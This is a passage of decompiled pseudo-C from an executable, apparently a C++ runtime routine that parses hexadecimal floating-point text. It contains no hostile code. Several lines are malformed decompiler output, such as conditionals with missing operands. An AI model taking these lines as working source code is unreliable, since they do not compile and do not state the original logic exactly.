						_t837 =  <=  ? _t1086 : _a48;
						_t553 =  *((intOrPtr*)(_t837 + _t1092));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t834 = _a72;
						} else {
							_t424 = _t547;
							_t1096 = _t1092 + _t837;
							__eflags = _t1096;
							if(_t1096 == 0) {
								goto L257;
							} else {
								_t834 = _a72;
								__eflags = _t834 - 0xf;
								_t1087 =  >  ? _a48 : _t1086;
								_t1055 = _v40;
								while(1) {
									_t548 =  *_t1055 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1096 - 1;
									_t554 =  *(_t1087 + _t1096 - 1) & 0x000000ff;
									if(_t1096 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L252:
											_t1096 = _t1096 - 1;
											__eflags =  *(_t1055 + 1);
											if( *(_t1055 + 1) > 0) {
												_t1055 = _t1055 + 1;
												__eflags = _t1055;
											}
											__eflags = _t1096;
											if(_t1096 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t592 = 0;
							}
						}
					}
					L258:
					__eflags = _t834 - 0x10;
					_t1094 = _a32;
					r12d = _a84;
					if(_t834 >= 0x10) {
						_t955 = _a48;
						__eflags = _t834 + 1 - 0x1000;
						if(_t834 + 1 >= 0x1000) {
							_t955 =  *((intOrPtr*)(_t955 - 8));
						}
						_t424 = E00402090(_t424, _t955);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t820 = _a112;
							 *_t820 = 0x30;
							_t821 = _t820 + 1;
							__eflags = _t821;
							_a112 = _t821;
						}
						goto L172;
					} else {
						L172:
						_t902 =  *_t883;
						_t570 = 0;
						__eflags = _t902;
						_t561 = 0;
						r15d = r12d;
						if(_t902 != 0) {
							_t818 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t818;
							if(_t818 == 0) {
								L176:
								_t479 =  *((intOrPtr*)( *_t902 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t479 =  *_t818 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t903 =  *_a96;
						__eflags = _t903;
						if(_t903 != 0) {
							_t815 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
							__eflags = _t815;
							if(_t815 == 0) {
								L182:
								_t478 =  *((intOrPtr*)( *_t903 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t903 + 0x50));
								if( *( *(_t903 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t478 =  *_t815 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t883 + 8);
							_t1052 = _v48;
							if( *(_t883 + 8) == 0) {
								_t946 =  *_t883;
								__eflags = _t946;
								if(_t946 == 0) {
									L267:
									 *_t883 = 0;
								} else {
									_t812 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
									__eflags = _t812;
									if(_t812 == 0) {
										L264:
										_t477 =  *((intOrPtr*)( *_t946 + 0x38))();
									} else {
										__eflags =  *( *(_t946 + 0x50));
										if( *( *(_t946 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t477 =  *_t812 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t883 + 0xa) = _t477;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t807 =  *_t1052;
							_t424 =  *((intOrPtr*)(_t807 + 0x20))();
							__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t883 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t807));
								_t944 =  *_t883;
								__eflags = _t944;
								r12d = r15d;
								if(_t944 == 0) {
									L280:
									 *_t883 = 0;
									_t424 = 1;
								} else {
									_t809 =  *((intOrPtr*)(_t944 + 0x38));
									_t1016 =  *_t809;
									__eflags = _t1016;
									if(_t1016 == 0) {
										L277:
										_t475 =  *((intOrPtr*)( *_t944 + 0x40))();
										r12d = r15d;
									} else {
										_t1053 =  *((intOrPtr*)(_t944 + 0x50));
										_t588 =  *_t1053;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L277;
										} else {
											 *_t1053 = _t588 - 1;
											 *_t809 =  &(_t1016[1]);
											_t475 =  *_t1016 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t883 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t937 =  *_t883;
										_t584 = 0;
										__eflags = _t937;
										_t566 = 0;
										if(_t937 == 0) {
											goto L291;
										}
										_t797 =  *((intOrPtr*)( *((intOrPtr*)(_t937 + 0x38))));
										__eflags = _t797;
										if(_t797 == 0) {
											L289:
											_t470 =  *((intOrPtr*)( *_t937 + 0x38))();
										} else {
											__eflags =  *( *(_t937 + 0x50));
											if( *( *(_t937 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t470 =  *_t797 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t938 =  *_a96;
										__eflags = _t938;
										if(_t938 != 0) {
											_t805 =  *((intOrPtr*)( *((intOrPtr*)(_t938 + 0x38))));
											__eflags = _t805;
											if(_t805 == 0) {
												L295:
												_t469 =  *((intOrPtr*)( *_t938 + 0x38))();
											} else {
												__eflags =  *( *(_t938 + 0x50));
												if( *( *(_t938 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t469 =  *_t805 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t941 =  *_t883;
												__eflags = _t941;
												if(_t941 == 0) {
													L306:
													 *_t883 = 0;
												} else {
													_t802 =  *((intOrPtr*)( *((intOrPtr*)(_t941 + 0x38))));
													__eflags = _t802;
													if(_t802 == 0) {
														L303:
														_t468 =  *((intOrPtr*)( *_t941 + 0x38))();
													} else {
														__eflags =  *( *(_t941 + 0x50));
														if( *( *(_t941 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t468 =  *_t802 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t883 + 0xa) = _t468;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t424 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
												_t939 =  *_t883;
												__eflags = _t939;
												if(_t939 == 0) {
													L316:
													 *_t883 = 0;
													_t467 = 1;
													goto L283;
												} else {
													_t799 =  *((intOrPtr*)(_t939 + 0x38));
													_t1012 =  *_t799;
													__eflags = _t1012;
													if(_t1012 == 0) {
														L313:
														_t471 =  *((intOrPtr*)( *_t939 + 0x40))();
													} else {
														_t1051 =  *((intOrPtr*)(_t939 + 0x50));
														_t585 =  *_t1051;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L313;
														} else {
															 *_t1051 = _t585 - 1;
															 *_t799 =  &(_t1012[1]);
															_t471 =  *_t1012 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t467 = 0;
														L283:
														 *(_t883 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t794 = _a112;
											 *_t794 = 0x30;
											_a112 = _t794 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1083 =  &_v34;
						while(1) {
							L333:
							_t904 =  *_t883;
							_t571 = 0;
							__eflags = _t904;
							_t562 = 0;
							if(_t904 == 0) {
								goto L339;
							}
							_t783 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
							__eflags = _t783;
							if(_t783 == 0) {
								L337:
								_t466 =  *((intOrPtr*)( *_t904 + 0x38))();
							} else {
								__eflags =  *( *(_t904 + 0x50));
								if( *( *(_t904 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t466 =  *_t783 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t905 =  *_a96;
							__eflags = _t905;
							if(_t905 != 0) {
								_t791 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
								__eflags = _t791;
								if(_t791 == 0) {
									L343:
									_t465 =  *((intOrPtr*)( *_t905 + 0x38))();
								} else {
									__eflags =  *( *(_t905 + 0x50));
									if( *( *(_t905 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t465 =  *_t791 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t936 =  *_t883;
									__eflags = _t936;
									if(_t936 == 0) {
										L354:
										 *_t883 = 0;
									} else {
										_t788 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
										__eflags = _t788;
										if(_t788 == 0) {
											L351:
											_t424 =  *((intOrPtr*)( *_t936 + 0x38))();
										} else {
											__eflags =  *( *(_t936 + 0x50));
											if( *( *(_t936 + 0x50)) <= 0) {
												goto L351;
											} else {
												_t424 =  *_t788 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L354;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t541 =  *(_t883 + 0xa) & 0x0000ffff;
								_t779 = _t1083;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t779 + 2) & 0x0000ffff;
									_t779 = _t779 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L516:
									__eflags = r10b & 0x00000001;
									_t1074 =  ==  ? _t1094 : _t1073;
									__eflags = _a88;
									_t1075 =  !=  ? _t1094 :  ==  ? _t1094 : _t1073;
									 *((char*)( !=  ? _t1094 :  ==  ? _t1094 : _t1073)) = 0;
									 *_a232 = r9d;
									_t726 = _v56;
									__eflags = _t726 - 0x10;
									if(_t726 >= 0x10) {
										_t908 = _v80;
										__eflags = _t726 + 1 - 0x1000;
										if(_t726 + 1 >= 0x1000) {
											_t908 =  *((intOrPtr*)(_t908 - 8));
										}
										E00402090(_t424, _t908);
									}
									__eflags = 0;
									return 0;
									goto L531;
								}
								_t781 = _t779 -  &_v32 >> 1;
								__eflags = _t781 - 0x15;
								if(_t781 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t934 = _a112;
										 *_t934 =  *((intOrPtr*)(_t781 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t934 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t931 =  *_t883;
									__eflags = _t931;
									if(_t931 == 0) {
										L331:
										 *_t883 = 0;
										_t461 = 1;
									} else {
										_t785 =  *((intOrPtr*)(_t931 + 0x38));
										_t1008 =  *_t785;
										__eflags = _t1008;
										if(_t1008 == 0) {
											L328:
											_t462 =  *((intOrPtr*)( *_t931 + 0x40))();
										} else {
											_t1050 =  *((intOrPtr*)(_t931 + 0x50));
											_t582 =  *_t1050;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L328;
											} else {
												 *_t1050 = _t582 - 1;
												 *_t785 =  &(_t1008[1]);
												_t462 =  *_t1008 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L331;
										} else {
											_t461 = 0;
										}
									}
									 *(_t883 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t906 =  *_t883;
								_t572 = 0;
								__eflags = _t906;
								_t563 = 0;
								_t1073 = _a112;
								r9d = r15d;
								if(_t906 != 0) {
									_t777 =  *((intOrPtr*)( *((intOrPtr*)(_t906 + 0x38))));
									__eflags = _t777;
									if(_t777 == 0) {
										L366:
										_t460 =  *((intOrPtr*)( *_t906 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t906 + 0x50));
										if( *( *(_t906 + 0x50)) <= 0) {
											goto L366;
										} else {
											_t460 =  *_t777 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t907 =  *_a96;
								__eflags = _t907;
								if(_t907 != 0) {
									_t774 =  *((intOrPtr*)( *((intOrPtr*)(_t907 + 0x38))));
									__eflags = _t774;
									if(_t774 == 0) {
										L372:
										_t459 =  *((intOrPtr*)( *_t907 + 0x38))();
										_t1073 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t907 + 0x50));
										if( *( *(_t907 + 0x50)) <= 0) {
											goto L372;
										} else {
											_t459 =  *_t774 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t883 + 8);
									if( *(_t883 + 8) == 0) {
										_t929 =  *_t883;
										__eflags = _t929;
										if(_t929 == 0) {
											L384:
											 *_t883 = 0;
										} else {
											_t771 =  *((intOrPtr*)( *((intOrPtr*)(_t929 + 0x38))));
											__eflags = _t771;
											if(_t771 == 0) {
												L381:
												_t458 =  *((intOrPtr*)( *_t929 + 0x38))();
												_t1073 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t929 + 0x50));
												if( *( *(_t929 + 0x50)) <= 0) {
													goto L381;
												} else {
													_t458 =  *_t771 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L384;
											} else {
												 *(_t883 + 0xa) = _t458;
											}
										}
										 *(_t883 + 8) = 1;
									}
									_t424 =  *(_t883 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L388:
										 *_t1073 = 0x70;
										_t909 =  *_t883;
										__eflags = _t909;
										if(_t909 == 0) {
											L398:
											 *_t883 = 0;
											 *(_t883 + 8) = 1;
											goto L399;
										} else {
											_t765 =  *((intOrPtr*)(_t909 + 0x38));
											_t1003 =  *_t765;
											__eflags = _t1003;
											if(_t1003 == 0) {
												L392:
												_t454 =  *((intOrPtr*)( *_t909 + 0x40))();
												_t1073 = _a112;
											} else {
												_t1049 =  *((intOrPtr*)(_t909 + 0x50));
												_t580 =  *_t1049;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L392;
												} else {
													 *_t1049 = _t580 - 1;
													 *_t765 =  &(_t1003[1]);
													_t454 =  *_t1003 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L398;
											} else {
												_t927 =  *_t883;
												 *(_t883 + 8) = 0;
												__eflags = _t927;
												if(_t927 == 0) {
													L399:
													_t573 = 0;
												} else {
													_t768 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
													__eflags = _t768;
													if(_t768 == 0) {
														L400:
														_t456 =  *((intOrPtr*)( *_t927 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t927 + 0x50));
														if( *( *(_t927 + 0x50)) <= 0) {
															goto L400;
														} else {
															_t456 =  *_t768 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t910 =  *_a96;
										__eflags = _t910;
										if(_t910 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t763 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
											__eflags = _t763;
											if(_t763 == 0) {
												L406:
												_t452 =  *((intOrPtr*)( *_t910 + 0x38))();
												_t1073 = _a112;
											} else {
												__eflags =  *( *(_t910 + 0x50));
												if( *( *(_t910 + 0x50)) <= 0) {
													goto L406;
												} else {
													_t452 =  *_t763 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1085 = _t1073 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t883 + 8);
											if( *(_t883 + 8) == 0) {
												_t926 =  *_t883;
												__eflags = _t926;
												if(_t926 == 0) {
													L418:
													 *_t883 = 0;
												} else {
													_t760 =  *((intOrPtr*)( *((intOrPtr*)(_t926 + 0x38))));
													__eflags = _t760;
													if(_t760 == 0) {
														L415:
														_t451 =  *((intOrPtr*)( *_t926 + 0x38))();
														_t1073 = _a112;
													} else {
														__eflags =  *( *(_t926 + 0x50));
														if( *( *(_t926 + 0x50)) <= 0) {
															goto L415;
														} else {
															_t451 =  *_t760 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L418;
													} else {
														 *(_t883 + 0xa) = _t451;
													}
												}
												 *(_t883 + 8) = 1;
											}
											_t447 =  *(_t883 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1073 + 1)) = 0x2d;
													_t923 =  *_t883;
													__eflags = _t923;
													if(_t923 == 0) {
														goto L434;
													} else {
														_t756 =  *((intOrPtr*)(_t923 + 0x38));
														_t1000 =  *_t756;
														__eflags = _t1000;
														if(_t1000 == 0) {
															L430:
															_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
															goto L431;
														} else {
															_t1048 =  *((intOrPtr*)(_t923 + 0x50));
															_t578 =  *_t1048;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L430;
															} else {
																goto L429;
															}
														}
														goto L432;
													}
													goto L435;
												}
											} else {
												 *((char*)(_t1073 + 1)) = 0x2b;
												_t925 =  *_t883;
												__eflags = _t925;
												if(_t925 == 0) {
													L434:
													 *_t883 = 0;
													_t448 = 1;
												} else {
													_t756 =  *((intOrPtr*)(_t925 + 0x38));
													_t1000 =  *_t756;
													__eflags = _t1000;
													if(_t1000 == 0) {
														L424:
														_t449 =  *((intOrPtr*)( *_t925 + 0x40))();
														L431:
														_t1073 = _a112;
													} else {
														_t1048 =  *((intOrPtr*)(_t925 + 0x50));
														_t578 =  *_t1048;
														__eflags = _t578;
														if(_t578 > 0) {
															L429:
															 *_t1048 = _t578 - 1;
															 *_t756 =  &(_t1000[1]);
															_t449 =  *_t1000 & 0x0000ffff;
														} else {
															goto L424;
														}
													}
													L432:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L434;
													} else {
														_t448 = 0;
													}
												}
												L435:
												_t1076 = _t1073 + 2;
												__eflags = _t1076;
												 *(_t883 + 8) = _t448;
												_t1085 = _t1076;
											}
										}
										while(1) {
											_t911 =  *_t883;
											__eflags = _t911;
											_t574 = 0;
											if(_t911 == 0) {
												goto L445;
											}
											_t746 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
											__eflags = _t746;
											if(_t746 == 0) {
												L443:
												_t443 =  *((intOrPtr*)( *_t911 + 0x38))();
											} else {
												__eflags =  *( *(_t911 + 0x50));
												if( *( *(_t911 + 0x50)) <= 0) {
													goto L443;
												} else {
													_t443 =  *_t746 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L445:
											_t912 =  *_a96;
											__eflags = _t912;
											if(_t912 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L451;
												} else {
												}
											} else {
												_t754 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
												__eflags = _t754;
												if(_t754 == 0) {
													L449:
													_t439 =  *((intOrPtr*)( *_t912 + 0x38))();
												} else {
													__eflags =  *( *(_t912 + 0x50));
													if( *( *(_t912 + 0x50)) <= 0) {
														goto L449;
													} else {
														_t439 =  *_t754 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L451:
													__eflags =  *(_t883 + 8);
													if( *(_t883 + 8) == 0) {
														_t922 =  *_t883;
														__eflags = _t922;
														if(_t922 == 0) {
															L461:
															 *_t883 = 0;
														} else {
															_t751 =  *((intOrPtr*)( *((intOrPtr*)(_t922 + 0x38))));
															__eflags = _t751;
															if(_t751 == 0) {
																L458:
																_t442 =  *((intOrPtr*)( *_t922 + 0x38))();
															} else {
																__eflags =  *( *(_t922 + 0x50));
																if( *( *(_t922 + 0x50)) <= 0) {
																	goto L458;
																} else {
																	_t442 =  *_t751 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L461;
															} else {
																 *(_t883 + 0xa) = _t442;
															}
														}
														 *(_t883 + 8) = 1;
													}
													__eflags = ( *(_t883 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t883 + 0xa) & 0x0000ffff) == _v32) {
														_t920 =  *_t883;
														__eflags = _t920;
														if(_t920 == 0) {
															L471:
															 *_t883 = 0;
															_t438 = 1;
															goto L437;
														} else {
															_t748 =  *((intOrPtr*)(_t920 + 0x38));
															_t996 =  *_t748;
															__eflags = _t996;
															if(_t996 == 0) {
																L468:
																_t445 =  *((intOrPtr*)( *_t920 + 0x40))();
															} else {
																_t1047 =  *((intOrPtr*)(_t920 + 0x50));
																_t576 =  *_t1047;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L468;
																} else {
																	 *_t1047 = _t576 - 1;
																	 *_t748 =  &(_t996[1]);
																	_t445 =  *_t996 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L471;
															} else {
																_t438 = 0;
																L437:
																 *(_t883 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L487:
																_t913 =  *_t883;
																__eflags = _t913;
																_t565 = 0;
																if(_t913 == 0) {
																	goto L493;
																}
																_t735 =  *((intOrPtr*)( *((intOrPtr*)(_t913 + 0x38))));
																__eflags = _t735;
																if(_t735 == 0) {
																	L491:
																	_t436 =  *((intOrPtr*)( *_t913 + 0x38))();
																} else {
																	__eflags =  *( *(_t913 + 0x50));
																	if( *( *(_t913 + 0x50)) <= 0) {
																		goto L491;
																	} else {
																		_t436 =  *_t735 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L493:
																_t914 =  *_a96;
																__eflags = _t914;
																if(_t914 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L499;
																	} else {
																	}
																} else {
																	_t743 =  *((intOrPtr*)( *((intOrPtr*)(_t914 + 0x38))));
																	__eflags = _t743;
																	if(_t743 == 0) {
																		L497:
																		_t431 =  *((intOrPtr*)( *_t914 + 0x38))();
																	} else {
																		__eflags =  *( *(_t914 + 0x50));
																		if( *( *(_t914 + 0x50)) <= 0) {
																			goto L497;
																		} else {
																			_t431 =  *_t743 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t431 & 0x0000ffff) - 0xffff;
																	_t424 = 0 | __eflags != 0x00000000;
																	if(__eflags != 0) {
																		L499:
																		__eflags =  *(_t883 + 8);
																		if( *(_t883 + 8) == 0) {
																			_t919 =  *_t883;
																			__eflags = _t919;
																			if(_t919 == 0) {
																				L509:
																				 *_t883 = 0;
																			} else {
																				_t740 =  *((intOrPtr*)( *((intOrPtr*)(_t919 + 0x38))));
																				__eflags = _t740;
																				if(_t740 == 0) {
																					L506:
																					_t424 =  *((intOrPtr*)( *_t919 + 0x38))();
																				} else {
																					__eflags =  *( *(_t919 + 0x50));
																					if( *( *(_t919 + 0x50)) <= 0) {
																						goto L506;
																					} else {
																						_t424 =  *_t740 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t424 & 0x0000ffff) - 0xffff;
																				if((_t424 & 0x0000ffff) == 0xffff) {
																					goto L509;
																				} else {
																					 *(_t883 + 0xa) = _t424;
																				}
																			}
																			 *(_t883 + 8) = 1;
																		}
																		_t533 =  *(_t883 + 0xa) & 0x0000ffff;
																		_t731 = _t1090;
																		asm("o16 nop [cs:eax+eax]");
																		while(1) {
																			_t551 =  *(_t731 + 2) & 0x0000ffff;
																			_t731 = _t731 + 2;
																			__eflags = _t551;
																			if(_t551 == 0) {
																				break;
																			}
																			__eflags = _t551 - _t533;
																			if(_t551 != _t533) {
																				continue;
																			} else {
																				break;
																			}
																			goto L516;
																		}
																		_t733 = _t731 -  &_v32 >> 1;
																		__eflags = _t733 - 0x15;
																		if(_t733 <= 0x15) {
																			__eflags = r14d - 7;
																			if(r14d <= 7) {
																				 *_t1085 =  *((intOrPtr*)(_t733 + "0123456789ABCDEFabcdef-+XxPp"));
																				_t1085 = _t1085 + 1;
																				r14d = r14d + 1;
																				__eflags = r14d;
																			}
																			_t916 =  *_t883;
																			__eflags = _t916;
																			if(_t916 == 0) {
																				L485:
																				 *_t883 = 0;
																				_t430 = 1;
																			} else {
																				_t737 =  *((intOrPtr*)(_t916 + 0x38));
																				_t992 =  *_t737;
																				__eflags = _t992;
																				if(_t992 == 0) {
																					L482:
																					_t433 =  *((intOrPtr*)( *_t916 + 0x40))();
																				} else {
																					_t1046 =  *((intOrPtr*)(_t916 + 0x50));
																					_t575 =  *_t1046;
																					__eflags = _t575;
																					if(_t575 <= 0) {
																						goto L482;
																					} else {
																						_t575 = _t575 - 1;
																						 *_t1046 = _t575;
																						 *_t737 =  &(_t992[1]);
																						_t433 =  *_t992 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t433 & 0x0000ffff) - 0xffff;
																				if((_t433 & 0x0000ffff) == 0xffff) {
																					goto L485;
																				} else {
																					_t430 = 0;
																				}
																			}
																			 *(_t883 + 8) = _t430;
																			sil = 1;
																			continue;
																		}
																	}
																}
																_t1094 = _a32;
																_t1073 = _t1085;
																r9d = r15d;
																r10d = _t575;
																goto L516;
															}
														}
														goto L487;
													}
												}
											}
											__eflags = dil;
											_a32 = _t1094;
											_t575 = 0;
											if(dil != 0) {
												 *_t1085 = 0x30;
												_t1085 = _t1085 + 1;
												__eflags = _t1085;
											}
											r14d = 0;
											_t1090 =  &_v34;
											goto L487;
										}
									} else {
										__eflags = _t424 - _a20;
										if(_t424 == _a20) {
											goto L388;
										}
									}
								}
							} else {
								_t1073 = _a112;
								r9d = r15d;
							}
							goto L516;
						}
					}
					goto L333;
				}
				L531:
			}

0x0041869f
0x0041869f
0x0041869f
0x0041869f
0x0041869f
